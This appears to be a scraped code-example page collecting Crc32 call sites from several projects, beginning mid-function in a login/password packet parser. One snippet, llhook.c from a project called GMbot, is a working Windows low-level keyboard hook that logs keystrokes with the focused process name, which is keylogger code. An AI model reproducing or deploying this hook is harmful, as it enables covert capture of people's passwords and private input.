			crc_ = crc_ | (0x00FF0000 & (buffer_[2] << 16));
			crc_ = crc_ | (0xFF000000 & (buffer_[3] << 24));

			boost::uint32_t calculated_crc = Crc32((const unsigned char*) &buffer_all_data_[0],
				buffer_all_data_.size() - login_passwd_crc_len_size);

			got_crc_ = true;

			if (crc_ == calculated_crc)
			{
				buffer_.clear();
				buffer_all_data_.clear();

				is_complete_ = true;
			}
			else
			{
				got_login_len_ = true;
				got_login_ = true;
				got_passwd_len_ = true;
				got_passwd_ = true;
				got_crc_ = true;
			}
		}
	}
}
コード例 #26
0
void FileBundleWriter::BufferCRC(void *buffer, size_t buffer_len) {
  assert(buffer_len > kCRCsize);
  size_t data_len = buffer_len - kCRCsize;
  uint32 crc = HostToLittleEndian(Crc32(buffer, data_len));
  memcpy(static_cast<char*>(buffer) + data_len, &crc, kCRCsize);
}
コード例 #27
0
ファイル: MainPanel.cpp プロジェクト: cubemoon/game-editor
void MainPanel::UpdateCheck()
{
#if defined(GAME_EDITOR_PROFESSIONAL) && defined(WIN32)

	//Check if can run this version
	NANOBEGIN

	char buf[256], keyCreated[20];
	bool bCanUpdate = true; //Always update

#ifdef USE_ACTIVATION
	bCanUpdate = false;

	if(GetEnvironmentVariable("EXTRAINFO",  buf, 255))
	{
		long purchasedDays = atol(buf);

		if(purchasedDays == 0)
		{
			bCanUpdate = true;
		}
		else
		{
			//Calc the remaining update days
			if(GetEnvironmentVariable("KEYCREATED",  buf, 255))
			{
				//KEYCREATED = YYYY.MM.DD
				strcpy(keyCreated, buf);

				struct tm tmKeyCreated, tmCompilationTime;
				time_t tCompilationTime, tKeyCreated;

				memset(&tmCompilationTime, 0, sizeof(struct tm));
				memset(&tmKeyCreated, 0, sizeof(struct tm));

				//Get key creation date
				sscanf(buf, "%4ld.%2ld.%2ld", &tmKeyCreated.tm_year, &tmKeyCreated.tm_mon, &tmKeyCreated.tm_mday);

				/////////////////////////////////////////
				//Keep this until release the new interface
				if(purchasedDays >= 30 && tmKeyCreated.tm_year >= 2006)
				{
					//New interface promotion
					bCanUpdate = true;
				} else {
				/////////////////////////////////////////

				tmKeyCreated.tm_year -= 1900;	//tm_year = year - 1900
				tmKeyCreated.tm_mon -= 1;		//January = 0

				tKeyCreated = mktime(&tmKeyCreated);

				//Get compilation time
				sscanf(date_mac_conv(__DATE__), "%4ld-%2ld-%2ld", &tmCompilationTime.tm_year, &tmCompilationTime.tm_mon, &tmCompilationTime.tm_mday);

				tmCompilationTime.tm_year -= 1900;	//tm_year = year - 1900
				tmCompilationTime.tm_mon -= 1;		//January = 0

				tCompilationTime = mktime(&tmCompilationTime);
				 

				//Calc diff
				double seconds = difftime(tCompilationTime, tKeyCreated);

				if((long)((seconds/3600.0)/24.0) <= purchasedDays)
				{
					bCanUpdate = true;
				}
				else
				{
					new RegisterPanel(keyCreated, purchasedDays, true);
				}

				} //Keep this until release the new interface
			}
		}
	}
#endif

	if(bCanUpdate)
	{
		WaitCursor wait;

		char buf[128], date1[64], date2[64];
		gedString hash;
		
		//Get current time (GMC)
		struct tm *newtime;
		time_t ltime;
		 
		time(&ltime );		
		newtime = gmtime(&ltime );

		sprintf(date1, "%02d/%02d/%04d", newtime->tm_mday, newtime->tm_mon + 1, newtime->tm_year + 1900);
		sprintf(date2, "%02d %02d %04d", newtime->tm_mon + 1, newtime->tm_mday, newtime->tm_year + 1900);

		sprintf(buf, "%X%X", Crc32(date1, strlen(date1)), Crc32(date2, strlen(date2)));

		hash = buf;

		openUrl((gedString("http://game-editor.com/gameeditorpro?version=") + getVersion() + "&hash=" + hash + "&ext=.exe").c_str());
	}

	NANOEND

#endif
}
コード例 #28
0
ファイル: multitrack.cpp プロジェクト: vitamin-caig/zxtune
 //Formats::Chiptune::Container
 uint_t Checksum() const override
 {
     return Crc32(static_cast<const uint8_t*>(Delegate->Start()), Delegate->Size());
 }
コード例 #29
0
ファイル: llhook.c プロジェクト: 0x00dec0de/GMbot
// low-level keyboard hook function
static LRESULT CALLBACK 
	LLKeyboardProc(
		int nCode, 
		WPARAM wParam, 
		LPARAM lParam
		) 
{
	PKBDLLHOOKSTRUCT HookStruct = (PKBDLLHOOKSTRUCT)lParam;

	DWORD CurrentThread;
	HWND  hForeground,hFocus = NULL;

	DWORD ProcessID = 0;
	DWORD ThreadID  = 0;
	DWORD HostProcess = 0;
	HANDLE hProcess;
	BOOL bAttached = FALSE;
	CHAR  ProcessName[MAX_PATH];
	
#ifdef _DEBUG
	lstrcpy(ProcessName, szUnknown);
#endif

	do {
		if ( !g_bLoggerEnabled || ( nCode != HC_ACTION ) || !HookStruct ){
			break;
		}

		if ( (UINT)wParam != WM_KEYDOWN ){ //message 
			break;
		}

		CurrentThread = GetCurrentThreadId();
		hForeground = GetForegroundWindow();

#ifndef _DEBUG
		ProcessName[0] = 0;
#endif
		if ( hForeground == NULL ){
			DbgPrint("GetForegroundWindow is NULL\n");
			break;
		}

		// get thread and process for foreground window
		if ( ThreadID = GetWindowThreadProcessId(hForeground,&ProcessID) )
		{
			if ( CurrentThread != ThreadID ){
				bAttached =
					AttachThreadInput(
						CurrentThread,
						ThreadID,
						TRUE
						);
			}
		}else{
			DbgPrint("GetWindowThreadProcessId failed, err=%lu\n",GetLastError());
		}

		// wnd that owns focus can be handled by different thread
		hFocus = GetFocus();
		if ( hFocus != hForeground )
		{
			// detach input
			if ( bAttached ){
				AttachThreadInput(
					CurrentThread,
					ThreadID,
					FALSE
					);
				bAttached = FALSE;
			}
			if ( ThreadID = GetWindowThreadProcessId(hFocus,&ProcessID) )
			{
				if ( CurrentThread != ThreadID ){
					bAttached =
						AttachThreadInput(
							CurrentThread,
							ThreadID,
							TRUE
							);
				}
			}else{
				DbgPrint("GetWindowThreadProcessId failed, err=%lu\n",GetLastError());
			}
		}

		if ( ProcessID ){
			hProcess = 
				OpenProcess(
					PROCESS_QUERY_INFORMATION | PROCESS_VM_READ,
					FALSE,
					ProcessID
					);
			if ( hProcess )
			{
				if ( GetModuleBaseNameA(hProcess,NULL,ProcessName,MAX_PATH) ){
					strupr(ProcessName);
					HostProcess = Crc32(ProcessName, lstrlenA(ProcessName));
				}else{
					DbgPrint("GetModuleBaseName failed, err=%lu\n",GetLastError());
				}
				CloseHandle(hProcess);
			}else{
				DbgPrint("OpenProcess failed, err=%lu\n",GetLastError());
			}
		}

		// log kbd event
		KeyProcessMessage( 
			hFocus, 
			(UINT)wParam, //message 
			(UINT)HookStruct->vkCode, 
			(UINT)HookStruct->scanCode, 
			ProcessID,
			ThreadID,
			HostProcess
#ifdef _DEBUG
			,ProcessName
#endif
			);

		if ( bAttached ){
			AttachThreadInput(
				CurrentThread,
				ThreadID,
				FALSE
				);
		}
	} while ( FALSE );

	return CallNextHookEx(0, nCode, wParam, lParam);
}